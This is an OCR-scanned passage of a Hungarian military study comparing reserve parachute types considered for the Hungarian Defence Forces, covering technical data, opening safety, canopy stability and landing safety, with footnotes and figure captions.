technikai adatait tartalmazza (1. tablazat), azok hivatalos gyartéi kiadvanyai alapjan:

2 Szaniszlé (2018) i. m. (2. 1j.) 46.
% Szaniszl6 (2015) i. m. (2. lj.) 272.
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1. tablazat

Az MH-ban altalam elképzelt, rendszeresitésre kertilhetd személyi [égideszant ejtéernyd rendszerek
tartalék ejt6ernyé tipusai, 6sszevetve a BE-8/S-L tipus f6 harcdszattechnikai tulajdonsagaival.
Forras: a szerzé szerkesztése a hivatalos gyartdi prospektusok és kiadvanyok?® felhasznalasaval.

Tipus | Gyarto |Feliilet |Ter- Nyitasi |Nyi- |Min. Siily- |Irényit- | T6- | Ossz.
orszag |[(m?) |helhe- |sebes- |tasi |nyitasi |lyedési |haté- |meg |élet-
téség |ség rend- |ma- sebes- |sag (kg) |tar-
(kg) |(*™/h) |szer |gassag |ség tam
(m)*” | ("1s) (év)*®
BE-8/ |Német- |42 130 100-250 | kézi 125 4-4,5 |igen 55 |15
S-L orszag illetve
6029
T-11R | Amerikai | 42 180 max. kézi min. 7,923 nem 7,71 16,5
Egyesiilt | (8,93%) 277,8 152,4 (13,5)
Allamok
Z-6P |Orosz- |50 140 180-350 | kézi 80 8,5 nem 59 |12
orszag
ZVP- |Cseh- 54 160 100-250 | kézi, 100 5,6-6,7 |igen 6 15,5
80.08 |orszag mi-
szeres

Fontosnak tartom kihangsulyozni, hogy a tartalék ejtéernyd tipusanak kivalasz-
tasa—a fé ejt6erny6hoz hasonldan — meglehetdsen szlik hatarok kdzott mozoghat,
mivel igazodnia kell a tervezett (harci) alkalmazasi korilmények (dobasi/ugrasi
magassag és sebesség) mellett az ejtéernyd rendszer f6 ejtéernyéjének fizikai jel-
lemz8ihez (példaul zsinorhossz, nyitasi rendszer, illetve a hevederzet csatlakoztatasi
pontjanak szerkezeti kialakitasa stb.) is. Tovabba, kizdrélagosan komplex személyi
légideszant ejtSernyd rendszerben gondolkodva, elsédlegesen a légi jarmi (ejtSer-
ny6) gyartdja az, aki elirhatja a f6 ejtéernys hevederzetéhez illeszthet6 tartalék

% Fallschirmhandbuch fiir den Rettungsfallschirm BE-8/S-L. Seifhennersdorf, Séchsische Spezial-konfektion
GmbH, 2003. 3.; AMepuraHckas decaHmHas napawtomuas cucmema T-11 2010. Elérhetd: https://milita-
ry-informant.com/airforca/t11-sp-625834300.html (A letoltés datuma: 2014. 11. 12.); Technical Bulletin
43-0002-43, T-11 Reserve Parachute Assembly, Headquarters, Department of the Army, 15 July 2011. A-14;
3anacHas napawromkas cucmema 3-6/1. Elérhetd: www.spkirbis.narod.ru/refbook/z6p.htm (A letéltés da-
tuma: 2014. 05. 04.); ZVP-80.08A NSN 1670. Elérhets: www.marsjev.com/en/zvp-8008a (A letéltés datu-
ma: 2018. 10. 04.); A ZVP-80.08 tipusu tartalék ejtdernyd P-002-15 sz. kiszolgalasi, izemeltetési, hajtogatdsi,
kezelési, tarolasi, karbantartasi és javitdsi kézikonyve, érvényes az 1847001 gyartasi szamtdl. Jevicko, Czech
Republic, MarS a.s., 02/2020; Pavel Lang: New parachutes in action. Areview, (2014), 1. 36-38. Elérhetd:
www.mocr.army.cz/assets/multimedia-a-knihovna/casopisy/czech-army/areview_1_2014.pdf (A let6ltés da-
tuma: 2018.11.12.).

27 A tablazatban szerepld érték ebben az esetben is az in. AGL (Above Ground Level) szerinti magassagot (adott

ugroterilethez viszonyitott relativ magassagkilonbséget) jelenti.

Az élettartamoszlopban zaréjelben szerepld adat ebben az esetben is az Un. ,szolgalati élettartam”.

2 Az érték vdobasi > 100 */h esetén igaz.

0 Az amerikai szakirodalmak az ejt8ernyé-kupola (kiteritett) felilete helyett a belobbant —a T-11R tipus esetében
un. ,aerokonikus” alaku (ld. 17. abra) — ejtSernyd-kupola maximalis atmérdjét tintetik fel.

31 Ez asiillyedési sebesség értéke 173,29 kg-os max. értéki terhelés esetén.
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ejtéernyd tipusat, amelyre — mint termékre — garanciat is vallal,>> amennyiben
a jovendd alkalmazoé maradéktalanul betartja a teljes ejt6erny6 rendszer — mind
a f6-, mind a tartalék ejtéernyd — lizemeltetési, kezelési utasitasaban foglaltakat.
Ezt az elvet — az allami repiiléssel kapcsolatos — jogszabalyi elGiras®® is tamogatja.

A lehetséges ,tartalék ejt6erny6utodok” tulajdonsagainak részletes
Osszevetési szempontjai

»A komplex személyi égideszant ejtSernyd rendszer”- elv miatt az altalam kivalasz-
tott tartalék ejtéernySk 6sszehasonlitasdhoz is a ,tronkoveteld” f6 ejtéernyd tipu-
soknal — a tanulmanyom masodik részében — alkalmazott vizsgalati szempontokat
veszem alapul. Teszem ezt annak ellenére, hogy a f6-, illetve a tartalék ejtéernyék
mUikddése csak részben azonos egymassal.

Tanulmanyom masodik részében részletesen bemutattam az igynevezett , keleti”
ésa ,nyugati” konvencionalis kialakitasu légideszant f6 ejt6ernydk , klasszikus” bekotott,
ugynevezett ,Heinecke-rendszeren” alapuld m(ikodési folyamatat, amely a ,zsinorzat
elészor"-rendszer®* néven is ismert. A konvencionalis elrendezés(i (hasi) tartalék ejt6-
ernydk azonban a , kupola el6szor”-rendszer® alapjan miikodnek.

Az ejt6ernyd-kupola nyilasbiztonsaganak vizsgalata

Atartalék ejt6erny6 kupoldjanak nyilasi folyamatat (légaramlatba torténd kijutasat, majd
belobbanasat) —a f6 ejtéerny6hoz hasonldan — meg kell, hogy elézze az azt véds ejtber-
nyStok nyitasa,*® amelyet annak also lapjara rogzitett zardkipjainak (vagy egy specialis
kialakitasu lezarédhuroknak) a felsé és oldalso fedélapokon elhelyezett ponyvakarikakon
tortént atbujtatasa segitségével — egy ugyancsak specialis kioldéfogantyura er6sitett,
sodronykotélhez rogzitett — zarétiiskék kell hogy lezart allapotban tartsanak.

3 A fentiekhez kapcsolodva, egyben utalva a 42. labjegyzetben hivatkozott jogszabalyban foglalt elSirasokra — sze-
mély szerint — sem tartom ,eretnek gondolatnak” a gyarto kotelezd elSirasatdl, illetve javaslatatol eltérd tartalék
ejtéerny6 tipus alkalmazhatosaganak vizsgalatat. Erre kell6 szakértelemmel, maximalis felel6sséggel végrehajtott
csapatproba-eljaras adhat (na is) lehet8séget, amennyiben erre alkalmazoi szinten, biztonsagi szempontbél igény
mutatkozik. Ekkor alapkdvetelmény az ,0j" tartalék ejtéernyé-kupola belobbanasakor fellép6 tulterhelési tobbes
vizsgalata kisérleti ugrasokkal, a megengedett maximalis terhelhetéség alapjan.

3 A 21/1998. (XII. 21.) HM rendelet az allami légijarmiivek nyilvantartasarol, gyartasarol és javitasarol, valamint
a tipus- és légialkalmassagarol 43. § (4) bekezdése a kovetkez6képpen fogalmaz: ,A légijarmiivet a légial-
kalmassagi bizonyitvanyban meghatarozott id6beli hataly alatt ugy kell iizemeltetni, izemben tartani, hogy
az megfeleljen a teljes szerkezetre és a részegységekre vonatkozd Uizemeltetési eléirasoknak, valamint az eredeti
tizemeltetni nem lehet.” (A Hatosag megfogalmazas alatt a katonai légligyi hatdsag értendd.)

34 Az elnevezés arra utal, hogy a kupola belobbanéasat minden esetben meg kell, hogy el6zze a zsinorzat lef(iz6dé-
sének a kupolat a légaramlatba térténd kijutasa, majd belobbanasa el6tt védd un. ,belsézsakrol”.

¥ Az elnevezés arra utal, hogy az ejtéerny&tok nyitasa utan a kupola — mivel azt nem védi un. ,belsézsék” - a lég-
aramlatba keriilve azonnal képes belobbanni, majd a zsindrzat lefliz6dése csak ezt kovetden kovetkezik be.

% Az adott ejtSernyd tipusra vonatkozd tzemeltetési utasitasban is ,elékeld helyet foglal el” annak (ismételt)
tisztazasa — és ezt akar ,alkalmazasi filozéfianak” is nevezhetjik —, hogy elsédlegesen az ejtéernyds ugrd és csak
masodlagosan —amennyiben az az adott ejt6ernyd rendszer részét képezi — a fél- vagy a teljesen automatikusan
miikédésbe [ép6 biztonsagi nyitokésziilék ,felel” a tartalék ejternyd nyitasaért.
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Az — altalam mar tobb esetben emlitett — Ugynevezett ,alkalmazasi filozofia™’
alapjan a tartalék ejtéernyd ejtéernyds ugrd altal végrehajtott nyitasanak biztonsagos
végrehajtasa szempontjabol sem a kioldéfogantyl anyagdnak megvalasztasa, sem
alakjanak kialakitasa nem lehet , niiansznyi jelent&ségii”: a gyors, készségszint( nyitas
azonnalisaga életet menthet. Amig azonban a ponyvakarikak anyaga minden eset-
ben fém (acél) kell hogy legyen, a kioldéfogantyinal ezenkivil (16. abra) kemény
mianyagbol (10. abra), illetve az erds hevederanyagbdl kialakitott (11. abra) is el6fordul.
Alak szempontjabdl legyen az ejtéernyds ugro altali tudatos hasznalathoz kénnyen
megfoghatd, ugyanakkor viszont minimalizalja annak az esélyét, hogy valamibe
beleakadva - az ejtéernydtok vétlen/nem szandékolt nyitddasa révén — egy esetleges
ujabb vészhelyzetet okozzon (19. 4bra).

10. dbra 11. dbra
Kemény miianyagbodl késziilt kioldéfogantyt Specialis hevederanyagbol késziilt kioldéfogantyu
a ZVP-80.08 tipusu tartalék ejtéernyd tokjan. a T-T1R tipus tartalék ejtéernyd tokjan.
Forras: Military parachute, ZVP-80.08 NSN Forras: T-11 kioldéfogantyuja, a szerz6 ejtéernyds
1670160066805. Elérhets: www.marsjev.com/en/ fényképgy(ijteményébdl, 2015. februar 26-an,
zvp-8008 (A letdltés datuma: 2015. 04. 12.) Aviano Air Base, a ,Warlord Rock 2015" elnevezés(
gyakorlaton.

A tartalék ejt6erny6 biztonsagi nyitokésziilék altal végrehajtott nyitasa csak abban
az esetben értelmezhet8, amennyiben az adott tipust a gyarté ennek az igénynek
megfelelen hozta létre: ekkor a tartalék ejtéernyd tokjanak rendelkeznie kell olyan
rogzitési lehetséggel, amelyhez a — hagyomanyos (mechanikus), illetve a kor tech-
nikai szinvonalat képviseld (elektronikus) miikodésl — biztonsagi nyitoberendezés®
is gond nélkil csatlakoztathato.

3 L.a45.labjegyzetben leirtak. Jelen esetben ez ,csak” az MH légcellds ejtéernydre torténd atképzési tematikajara
vonatkozik, de altalanossagban is azt kell alapkdvetelménynek tekinteni: az ejtéerny6s katona a sajat életének
megmentését elsédlegesen sajat magara és ne egy eszkozre bizza.

Ezekkel tanulmanyom negyedik — Uj személyi légideszant ejtéernyd tipus rendszerbe &llitésa elétt a Magyar
Honvédség IV. rész. A lehetséges , trénkdvetel6k” dsszevetése a jovendd alkalmazé szempontjébol: az automatikus
biztonsagi nyitokésziilék vizsgalata cimU — részében fogok foglalkozni.
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Mivel a konvencionalis elrendezés(i (hasi) tartalék ejtéernyé alapesetben sem
volt/nincs ellatva rugds kihizo kisernyével, igy az ejtéerny6tok nyitasa utan a kupola
légaramlatba vald kijuttatdsat, majd belobbanasat az ugronak kézzel kell el6segi-
tenie. Ez elsésorban a minimalis nyitasi magassaghoz kozeli alacsony alkalmazas/
dobas esetén adhat okot kétségekre: ekkor a sziikséges cselekvési id&intervallum
még jobban redukalodik.

Eppen ezért 6rvendetes tény, hogy a nyilasi folyamat felgyorsitasara mar a hagyo-
manyos kialakitasu (hasi) tartalék ejtéernySk egyes tipusai esetén is van technikai
megoldas a gyartdk részérél. Jo példa erre a kupola szeletei kozé behelyezett, erds
rugéval ellatott tgynevezett ,gyorsitd"*® (12. abra) az amerikai T-11R, illetve az ejt6-
erny&tok fenekére szerelt, oldalra kibillens rugos lap (13. abra) az orosz Z*°-6P tipus
esetében, elébbi az MC-6, utdbbi a D-6/4, illetve a D-10 tipusu f6 ejtéerny&kkel egyiitt
alkot komplex, jol miikod6*! légideszant ejtSernyd rendszert.

12. abra 13. bra
A T-T1R tipusu tartalék ejtSernyd , gyorsitéja” A Z-6P tipusu tartalék ejtSernyd tokmerevitd
az MH ejtéernyd beugrd szakembereinek kezében. kerete és az ejt6ernyS-kupola kivetérugdja.
Forras: a szerzé sajat ejtéernyds Forras: Kastély Sandor: A ment6ejt6ernyd rendszerek
fényképgyljteményébdl. Készitette: Banfi Sandor szerkezete, kezelés, hasznalata vizsgalata. EjtGernyds
zaszlos, ejtéerny6 beugro, 2014. oktober elején, Tajékoztatd, 18. (1994), 1-2, 2-64. 20.

(beugrasra) torténd elékésziletekor, az MH 86. SzHB
SEKICs épliletében.

39 Extractor.
40 3anacHom - 3 (Tartalék).
“1 Erendszerek egylittes miikodésének megbizhatdsagat a tanulmany 23-26-os abrai is meggyézéen szemléltetik.
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Aktivalasat kovetSen a tartalék ejtéerny6 kupolajanak levegével valé feltoltédé-
sét —annak ugynevezett ,kilép6élén” elhelyezett, nagyobb nyitasi sebességek esetén
kisernySként funkcionald - kiilonbozd szamu, méretdi és kialakitasu légzsebek (14. abra
és 15. abra) konnyitik meg.

14. abra 15. dbra

Légzsebek elhelyezkedése a Z-6P tipusti A még nyitott dllapotban [évé, szokatlanul nagy atmérd;i

tartalék ejt6ernyd kupolajan kéménynyilast kérbevevd légzsebek a T-T1R tipusu tartalék

1. 50 m*-es ejtSernyd kupola, 2. un. ejtéernyd kupolajan. (A kép az ejtbernyd
.felszakadd heveder”, 3. ejtéernyétok, Gsszeszerelésekor késziilt.)
4. ejtbernyé kézi kiolddfogantyd. Forras: a szerz6 sajat ejtéernyds fényképgyijteményébél.
Forrés: Z-6P. Elérhetd: www.spkirbis.narod. Készitette: Banfi Sandor zaszlés, ejt8ernyd beugro,
ru/refbook/z6p.htm 2014. oktdber elején, az MC-6 tipus hatdsagi légialkalmassagi
(A letsltés datuma: 2014. 05. 04.) vizsgalatara (beugrasra) torténd elSkésziletekor, az MH

86. SzHB SEKICs épiiletében.

Ezek kialakitasat, méretét a tartalék ejtéerny6t is magaban foglald teljes ejt6ernyd
rendszer varhato alkalmazasi koriilményei (a repiilési/dobasi magassaga és sebessége,
az ott, valamint a foldet érési terlilet tengerszint feletti magassagan mért légnyomas
és hémeérséklet, szélsebesség stb.) hatarozzak meg alapvetden. Itt mar nem lehet
tévedni, mert erre sem id6, sem magassag nincs: a gyakorlati tapasztalatokkal is
megerdsitett, szamitasokon alapuld dobasi paraméterek be nem tartasa mar tulaj-
donképpen nem is a harcfeladat megkezdését, hanem az ugré tulélésének vagy sulyos
sériilése bekovetkezésének esélyét minimalizalja.

Végil, de nem utolsésorban: a tartalék ejt6ernyd kupolajanak gyors, azonnali
belobbanasat segiti a konvencionalis légideszant ejtéerny6 rendszer f6-, illetve tartalék
ejtéernydjének tudatos modon torténé egymashoz parositasa (készletezése). Ez, és csak
ez teszi lehet&vé, hogy utobbit azonnal mellé lehessen nyitni a f6 ejtéerny&tokbol
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a légaramlatba mar kijutott, de ott esetlegesen meghibasodott, tébbnyire részlege-
sen belobbant kupolanak.*> Ennek szemléltetésére alapul lehet venni az Ugynevezett
Jkeleti”, kombinalt (stabilizatoros) nyitasi rendszert alkalmazo, konvencionalis kiala-
kitasu ejtéernyé rendszert, az alabbiak szerint (16. abra).

on

—_ N e &

a/ helytelen 6sszeallitas b/ helyes 6sszeallitds

16. dbra

Komplex égideszant ejtSernyd rendszer f6- és tartalék ejtéernydjének helyes és helytelen 6sszedllitasa,
kombinalt (stabilizatoros) nyitasi rendszer esetén.
1. stabilizator rendszermérete, 2. stabilizatorkupola, 3. turbulens zona, 4. tartalék ejtéernyd
zsinorhossz, 5. tartalék ejtéernyé kupola.

Forréas: Segédlet ejt6ernyds oktatok részére a stabilizatoros kiképzés/atképzés végrehajtasahoz. Budapest, MRSZ
Ejtéernyds Szakbizottsag, 1993. marcius 24.

A fentiek alapjan tanulmanyom tartalék ejt&erny&kre vonatkozo els6 vizsgalati pontjaval,
vagyis az ejt6ernyd-kupola nyilasbiztonsagaval kapcsolatos, valamint azzal 6sszefligg
tényszerli megallapitasaimat a kdvetkez6képpen foglalhatom 6ssze:

A tartalék ejtéernyd nyilasi folyamatat megel6z8 toknyitas végrehajthatdsaganak
a lehetd legegyszerlibbnek, de ugyanakkor a lehetd legbiztonsagosabbnak kell lennie.
Alapelv kell hogy legyen: ,Amig a f& ejt6ernyét minden esetben, addig a tartalékot
»csak« akkor kell mikddtetni, amennyiben az sziikségessé valik, »de akkor nagyon!«”
Ezt segiti el a tartalék ejt&ernyd elhelyezése is az ugré hasan: Fontos, hogy az ejt6erny8s
a gépbdlvalo kiugrasa, illetve a szabadesési folyamat soran végig lassa a kioldofogantyut,
hogy képes legyen azt elérni és tévedés nélkil — massal nem dsszetévesztve — megfogni
és mikddtetni. Ezt a kioldéfogantyu szine, anyaga és alakja kell hogy garantalja.

2 Eppen ezért alapelv, hogy a konvencionalis felépitésti légideszant ejtSernyd rendszer fejtéernys felszakadd
hevederének és zsindrzatanak egyuttes hossza mindig nagyobb kell hogy legyen, mint a tartalék ejtSernysjéé:
ellenkezd esetben a tartalék ejtéernyd kupolaja a miikodésképtelenné valt féejtéernyd altal ,ledrnyékolt”, tur-
bulens zonajaba keriilve képtelen lesz belobbanni.
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A hagyomanyos felépités(i (hasi) tartalék ejtéerny6 alapesetben zavaras nélkdil
mellényithato a részlegesen vagy teljesen mikddésképtelenné valt hagyomanyos
kialakitasu féejtéernybnek. Ez a teljes ejtéernyd rendszer készletezésén mulik: adott
tipusu f6ejtéerny6hoz kizardlag csak adott tipusu tartalék ejtéernyd(ke)t szabad
készletezni, ez els6sorban a gyartd, masodsorban az alkalmazé felel6ssége.

Az alkalmazé felel&sségi korébe tartozik az ejtéernyds ugrd kiképzettségének
biztositasa is, amely legalabb annyira fontos, mint a tartalék ejtéerny6 ugrasra torténd
el6készitettsége. Az ejtéerny6s ugro altali tartalék ejtéernyd nyitasat kell elsédlegesnek
tekintentink — még biztonsagi nyitoszerkezettel (!) felszerelt tartalék ejtéernyd esetében
is—, igy a tartalék ejt6erny6 kupolajanak kdzel stabil zuhanasi helyzetben, kelld tavolsagba
torténé kidobasa (is) az 6 felkésziiltségén fog mulni. (Csak igy valhat elkertilhetévé annak
racsavarodasa és/vagy ,belefutdsa” a belobbanni képtelen féejt6ernyd zsinor- és kupola-
anyag-gubancaba, de ennek sikerességét a korszer(i tartalék ejt6ernyéknél —kiilonb6z6
rugds eszkozokkel — maguk a gyartok is tamogatni igyekeznek.)

Az ejtéerny8-kupola stabilitasanak vizsgalata

Axiomaként kell elfogadni, hogy az ejt6ernyé-kupola alakja (17. és 18. abra) mar
O6nmagaban is alapvetéen meghatarozza az alatta ereszkedd ejt6erny6sbél és személyi
deszantos felszerelésébdl alloé komplexum stabilitasat. Ez a megallapitas a tartalék
ejtéernydkre is igaz.

17. bra 18. &bra
Az dn. , babus bedobas” fészerepldje az un. Un. ,feladatbdl torténd tartalék ejtéernyényitas”
»aerokdnikus” kupolaju T-T1R tipusu tartalék az un. ,kiteritett sik” kupoldju Z-6P tipusu tartalék
ejtéernyd. ejtéernyével.

Forras: T-11R tipusu tartalék ejtéernyd fényképe
az MC-6 Personnel Parachute System to Hungarian
National Transport Authority Aviation Authority
State Aviation Division cim{i dokumentaciébdl,
6, a Program Office (PM-SCIE Personnel Airdrop
Team, Natick Soldier Systems Center, MA, USA)
szakembereinek jovoltabol.

Forras: a szerz6 ejt6ernyés fényképgy(ijteményébdl,
eredete ismeretlen.
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Nem véletlen, hogy a konvencionalis elrendezés(i (hasi) tartalék ejt6ernySk — sikban
kiteritett — kupola alakja alapvetéen még napjainkban is (!) kor, noha az 1930-as
és 1940-es években alakos (elsGsorban harom- és négyszogalaku) kupolakkal is foly-
tattak kisérleteket.?

Emellett a tartalék ejtéernyd kupoldja alatt torténd ereszkedés tulajdonsa-
gait — ugyancsak a f6 ejt6erny6hoz hasonldan — a zsindrzat hossza és annak az ugy-
nevezett ,felszakadd hevedernek” az elhelyezkedése, az ejt8ernyd hevederzetéhez
valoé csatlakozasi pontjanak helye hatdrozza meg egyittesen. Fontos tény, hogy
egy konvencionalis kialakitasu légideszant ejt6ernyé hevederzete alapesetben két,
kilon-kalon felfiggesztési ponttal rendelkezik a f6- és a tartalék ejtéernyék részére,
igy a teljes rendszer stabilitasa is minimalisan megvaltozhat az aktualisan m(ikodé
(vagy a f6- vagy a tartalék) ejt6erny6 kupoldja alatt ereszkedé ejtSernyés — illetve
a hozza rogzitett személyi felszerelés esetében mar ered6 — aktualis sulyponti helyzete
fliggvényében. Es az a helyzet is eléfordulhat, hogy az ejtéernyés ugras soran mind
a két ejt6erny6é miikodésbe lép (22. abra).

A fentiek alapjan tanulmanyom tartalék ejt6erny6kre vonatkozé masodik vizs-
galati pontjaval, vagyis az ejtéernyS-kupola stabilitasaval kapcsolatos, valamint azzal
Osszefliggh tényszerli megallapitasaimat a kdvetkezéképpen foglalhatom Ossze:

Atartalék ejtéerny&vel torténd ereszkedés stabilitasat is elsésorban annak kupola
alakja, masodsorban a tartalék ejt6erny6 tovabbi alkotorészeinek — zsinérzatanak és un.
.felszakadd hevederzetének” — a f6 ejtéerny6éhez viszonyitott (!) hossza, valamint
a hevederzethez torténd csatlakozasi pontok helyzete hatarozzak meg.

Ugyancsak lényeges a két, teljesen vagy részlegesen belobbant f6- és tartalék
ejtéerny6-kupola alatt ereszked6 ejtéerny6s siillyedési jellemz8inek vizsgalata —nem
felejtkezve meg arrél a tényrél, hogy a két nyitott ejt6erny6-kupola esetében nagyobb
az ejtéernyds siillyedési sebessége, mintha egyetlen nyitott kupola alatt lenge-
dezne —, mert ennek mar magara a féldet érésre lesz kozvetlen befolyasa.

Az ejtéernyds foldet érés biztonsaga

Hivatkozva a tanulmanyom elsd részében - a Il. vildghaboru ejtéernyds akcidinak
elemzése alapjan — deklaralt iranyelvre: ,a biztonsagos foldet érés és a tényleges
harcfeladat megkezdése kozotti id6tartam donté fontossagu a tulélés szempontja-
bol”, a vizsgalt kérdés részben kapcsolddik a teljes ejtéerny6 rendszer tok-heveder
alrendszerének elemzéséhez, amelyet tanulmanyom masodik részében** alaposan
kifejtettem.

Nem kérdéses, hogy az ejtéernyds ugré szempontjabol az ejternyS-hevederzet
optimalis kialakitasa — a f6 ejtéerny&hdz hasonldan - a tartalék ejtéernyd kupolajanak

4 A gyakorlati tapasztalatok nem erGsitették meg a négyszog alaku kupolaval ellatott tartalék ejtéernyk meg-
bizhatosagat. Erre j6 példa az 6nmagatdl (is) széliranyba beallé PD-47 tipust fejtSernydként alkalmazo szovjet
légideszant ejt6ernyd rendszer esete: két —a f6 ejtéernys esetében részlegesen vagy teljesen, a tartalék esetében
teljesen — nyitott, négyszogletes kupola esetén egyik sem lett igazan dominans, ez mind az ereszkedés stabilita-
sat, mind a foldet érés biztonsagat negativan befolyasolta.

4 Hasonloan a f6 ejtéerny kupoldja alatt torténd ereszkedéshez, ld.: Szaniszlé (2018) i. m. (2. lj.) 48.
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belobbanasakor fellépd terhelés elviselhet6bbé tétele, tovabba a mar belobbant
kupola alatti ereszkedés kényelmesebbé tétele szempontjabsl sem elhanyagolhatd
jelent6ségl. Tanulmanyom harmadik részében viszont éppen az attol torténd gyors
»megszabadulds” vizsgalata lesz az elsédleges, amelyre néha specialis korilmények
kozott — példaul fa*> vagy haz tetején stb. — végrehajtott ,foldet érést” kdvetben kell
hogy sor kerdiljon.

Fontos megjegyezni, hogy a tartalék ejt6erny6knek az ejternyd hevederzetéhez
torténd rogzitése —a f6 ejt6ernydktél eltéréen — alapvetéen nem leolddzarakkal, hanem
viszonylag nehezen nyithaté karabinerekkel (19. és 20. 4bra) torténik, igy az arrdl
torténd lekapcsolasuk is koriilményesebb. Ez sem véletlen, fontos tervezdi (konst-
rukcios) filozofia van mogotte: egy jol lezart, terhelés alatt lévé massziv szerkezeti
karabiner vétlen nyilasa szinte lehetetlen, amely tulajdonképpen a tartalék ejtéernyd
kupolaja alatt ereszkedd ejt8erny6s altal elkovethetd vétlen ejtéerny6-leoldas esélyét
csokkenti zérus értékdre.

AN

19. dbra

A Z-6P tipusu tartalék ejtéernyd nemcsak az un. ,felszakadd hevedert” és a ,menetes régzitékengyelt”,
hanem a fém kiolddfogantyut is,,megérokélte” elédeitsl. A képen még a Z-5 tipus lathato.

Forras: Mpw npeixKe ¢ napalwoToM nornt BoeHHocayxawuit. Elérhetd: https://s00.yaplakal.com/pics/pics_
original/6/5/3/7274356.jpg (A letsltés datuma: 2018. 11. 14.)

4 Erre nagyon jo példa tanulmanyom masodik részének 5. abraja, amely egy akadalyra tortént ,foldet érés” utani
helyzetet szemléltet. Ebben az esetben a kinyitott tartalék ejtéernyé zsinorzata jelenti ,az eszkozt”, amellyel
a minél gyorsabb lejutas megvalosithato, ennek hasznossaga kiilonosen miiveleti teriileten valhat értékessé.
Szaniszl6 (2018) i. m. (2. |j.) 54.
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20. abra

A T-TIR tipusu tartalék ejtéernyé un. , felszakadd hevederét” —az MC-6, illetve
a T-11 ejt6ernyGrendszer részét is képezd — T-11 tipusu ejtGernyd-hevederzethez régzits karabiner.

Forras: a szerz6 sajat ejtéerny6s fényképgytijteményébol. Készitette: Kiss Janos fétorzsérmester,
ejtéerny6beugrd, 2012. junius 20-an, az MH 86. SzHB SEKICs épiiletében.

A fenti konstrukcids kialakitas viszont éppen a tartalék ejt6erny&vel végrehajtott foldet
érés utani ugynevezett kutyazas”,*® illetve haztet6re vagy fa koronajara torténd felaka-
das esetén lehet hatranyos. Ez utébbihoz kapcsolddik annak kérdése, hogy a tartalék
ejt6ernyd kupoldja iranyithaté-e, vagy sem, amely az alatta ereszkedd — megfelel6
kiképzettséggel rendelkez6 — ejtéernydsnek a foldet érési teriileten lévd esetleges
akadalyok elkerlilését teheti lehet6vé.

A fentiek alapjan tanulmanyom tartalék ejt6erny&kre vonatkozé harmadik
vizsgalati pontjaval, vagyis az ejtéernyds foldet érés biztonsagaval kapcsolatos,
valamint azzal 6sszefliggd tényszerl megallapitasaimat a kovetkez6képpen fog-
lalhatom &ssze:

Atartalék ejtéernyét az ejtéernyd hevederzetéhez rogzité csatoldelem kialakitasa
olyan kell hogy legyen, amely bizonyos kériilmények kozott (példaul terhelés alatt)
lehetetlenné teszi a miikodésbe lépett tartalék ejtéernyének a hevederzetrél torténd
leoldhatosagat. Ez a tartalék ejtSerny6 kupolaja alatt torténd ereszkedés szempont-
jabol kifejezetten elényds, mig a foldet érés utan bekdvetkezd esetleges ,kutyazas”
szempontjabol kifejezetten hatranyos az érintett ejtéerny6s szamara.

% Magyarazatat labjegyzetben ld.: Szaniszl6 (2018) i. m. (2. |j.) 53.
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A légideszant-feladatokra is részben alkalmazott iranyithaté f6 ejt6ernydk okan
felmerilt a tartalék ejtéernyék iranyithatdsaganak a kérdése is, de a gyakorlati
tapasztalatok alapjan csak nagyon kevés konvencionalis kialakitasu (hasi) tartalék
ejtéerny6 rendelkezik korlatozott irdnyithatésaggal. Ez azzal magyarazhato, hogy
a tartalék ejt6ernyé irdnyithatosagat is alapvetéen a kupolaalak kialakitasa hata-
rozza meg, és axiomaként kell elfogadni, hogy az alapkonstrukcio kialakitasakor
a belobbanasi tulajdonsagok névelése, illetve a stabilitas megdrzése az elsédleges,
ez azonban csak a kupola irdnyithatésagi képességének a rovasara torténhet.

Ehhez kapcsoldéddan annyit érdemes megjegyezni, hogy barmilyen esz-
kdz — gyarté altal biztositott — technikai lehet6ségei csak akkor nyujthatnak
tényleges alkalmazdi képességet, ha az azzal kapcsolatosan nemcsak ismerettel,
hanem gyakorlati jartassaggal is rendelkezik. De csak a légideszantos ejtéernyd
rendszer tartalék ejt6ernydjével kiképzési/gyakorlo ugrast végrehajtani — tudo-
masom szerint — egyetlen hadsereg ejtéernyds kiképzési tematikajanak sem
képezi a részét.

Véglil, a tartalék ejtéerny&kkel kapcsolatos vizsgalatok lezarasaként — igéretem
szerint® - roviden 6sszefoglalom, hogy a hagyomanyos (hasi) kialakitasu ejt6erny6k
alkalmazasa miért el6nydsebb mind a mai napig a légideszant-feladatok végrehaj-
tasahoz, mint a polgari (sport) ejtéerny6zésben kedvelt igynevezett ,tandemtokos”
ejtéernydké:

Az Ugynevezett ,tandemtokos” tartalék ejtéernyd légdramlatba juttatasat
altaldban egy — magéhoz a tartalék ejt6ernyd kupoldjahoz rogzitett — rugds nyi-
toernyéd végzi el. Ez — a megfelel6en nagy rugderd ellenére — a légsebesség fligg-
vényében ,elég agressziven” mozoghat, amely sulyos kovetkezménnyel jarhat:
fennall(hat) annak a részlegesen vagy a helytelenil nyilt féejt6erny6 kupolajaba
torténd beleakadasa, amely a mentés sikertelenségét okozhatja. Ezért a vész-
helyzeti eljarast sziikségszer(ien a légaramlatba kijutott, de m(ikodésképtelenné
valt f6 ejtbernyé-kupola leoldasaval (levalasztasaval) kell megkezdeni, amely
idéraforditast igényel, erre azonban az alacsonyabb ugrasi/dobasi magassagbol
végrehajtott bevetési koncepcio csak korlatozottan biztosit lehet&séget.

Figyelembe véve a korabbiakban mar emlitett,*® életmentési célbol torténd
azonnali dontés- és cselekvéskényszer esetén jelentkezd stressz-szituaciot, els-
szor a polgari (sport) ejtéerny6 rendszereknél vezették be az ugynevezett ,Tar-
talék bekotskotél"*°-szalagot, amely kiegészité szerkezeti elemként az ejtéernyé
rendszerbe beépitve, tulajdonképpen felgyorsitja a tartalék ejt6ernyd nyitasa-
nak, nyilasanak folyamatat. Azonban ez is csak akkor lehet sikeres, ha a leoldas

47 Ld. Szaniszl6 (2018) i. m. (2. |j.) 52.

4 Ld. Uo. 52.

49 Reserve Static line Lanyard — RSL. Ez a f6 ejt6ernyd un. ,felszakadd hevedervégéhez" kotott ,csatolo tag-
ként” — annak leoldéasa utan — automatikusan kinyitja a tartalék ejt6ernyStok fedélapjait, igy a tartalék ejtéer-
ny6 nyitasi folyamata tulajdonképpen ,bekotétt nyitasi rendszer szerint kezdédhet meg”. Nem szabad azonban
az RSL azon jarulékos hatranyérol sem megfeledkezniink, amikor a foldet érés utan az ejtéernyds ugréd az un.
wkutyazas” elkeriilése érdekében leoldja a féejt6erny6 kupolajat. (Ekkor az RSL-szalag automatikusan kinyitja
